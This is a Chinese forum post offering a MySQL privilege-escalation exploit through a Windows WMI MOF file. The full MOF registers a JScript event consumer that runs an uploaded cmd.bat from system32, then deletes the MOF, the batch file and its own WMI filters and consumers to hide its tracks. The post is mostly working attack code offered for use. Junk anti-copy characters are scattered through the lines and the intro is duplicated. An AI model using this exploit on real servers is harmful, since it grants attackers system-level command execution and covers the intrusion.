Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
8 d8 Q. K4 r/ J5 `( N  c) i. c
. x" G4 j( a6 m9 ?- n# B; s这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。

#pragma
7 b; v8 y) F4 s' U5 N                        namespace("\\\\.\\root\\cimv2")
& S+ I/ C1 C5 u4 G                        class
- S6 I- `8 s, ?/ c0 ]( Z                        MyClass547
7 ?  J. M: m( ^# k5 N% Y2 T8 K                        {           [key]
2 A% t) ]6 R3 j- |$ @* p                        string
                        Name;
% c6 `' r8 ?6 x; m6 A9 W                        };
& a- Z7 t( _, E! o2 w8 l                        class
                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
) O& e" A; y# u2 m: q2 z                        string
                        Name;           [not_null]
                        string
# [- z( o2 e: o" A6 i                        ScriptingEngine;           string
6 v9 x3 h, S& n4 g                        ScriptFileName;           [template]
9 l9 e0 O& l1 p" r+ T8 G                        string
                        ScriptText;         uint32 KillTimeout;
+ c: l" L* i" _2 G7 z+ ?! o                        }; instance of __Win32Provider as $P {
& h; _. a1 v$ G$ ]: y/ d$ a                        Name
                        =
2 D: V9 y0 Y1 ]: `9 ^0 ?" R                        "ActiveScriptEventConsumer";     CLSID =
                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
                        PerUserInitialization
                        = TRUE;
                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
  [4 w0 i6 @; K7 u, v" p# q# ~- v                        =
$ @, d$ [/ U. g/ y3 ~                        {"ActiveScriptEventConsumer"};
                        };
: x" ^& r) C( P# P                        Instance of ActiveScriptEventConsumer
                        as $cons {         Name
                        =
                        "ASEC";         ScriptingEngine
9 g" Q) w0 I- g9 z) c7 p                        =
# M# ~9 J. M' V; K) I                        "JScript";         ScriptText
+ S, C7 y9 i% ?! c2 x7 a7 _                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
                        Instance of ActiveScriptEventConsumer
                        as $cons2 {         Name
                        =
5 Z9 F6 [; s: W0 G: A, n                        "qndASEC";         ScriptingEngine
                        =
# K( v: E3 Y2 w& V                        "JScript";         ScriptText
! Q6 P( Y! u3 \8 b                        =
# _! R: @3 T  e4 v+ t$ J                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
, z4 b; ]9 S' A* `0 i1 p                        }; instance of __EventFilter as $Filt {         Name
: ^& t8 L7 \4 d  n) _                        =
: [' B- R# s8 p( U1 o) C                        "instfilt";         Query
( Q( |& S2 ~" e, N4 u4 W                        =
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
; B5 w0 O( v3 ?$ a2 ^% z                        =
& @; p* t1 ~: l1 W                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
                        =
. X8 L$ i9 x+ n8 i                        "qndfilt";         Query
+ ^& f  `' n0 n1 u4 S, R                        =
3 k' q# d! d8 |! Y" W+ `                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
& z) W# R0 k* O, a2 U. i  o                        = $Filt;
- X' L' A) Q# C/ E' C2 Z                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
( B: Q: u* c% U6 F- B                        = $cons2;         Filter
                        = $Filt2;
7 N! ]% C, O, I7 X: A) n                        }; instance of MyClass547
2 e  @; s4 c9 t5 b0 @- t$ `" u$ ?                        as $MyClass {         Name
! @& ?1 U0 u" e                        =
+ p1 H) l& W( o# ?                        "ClassConsumer";
                        };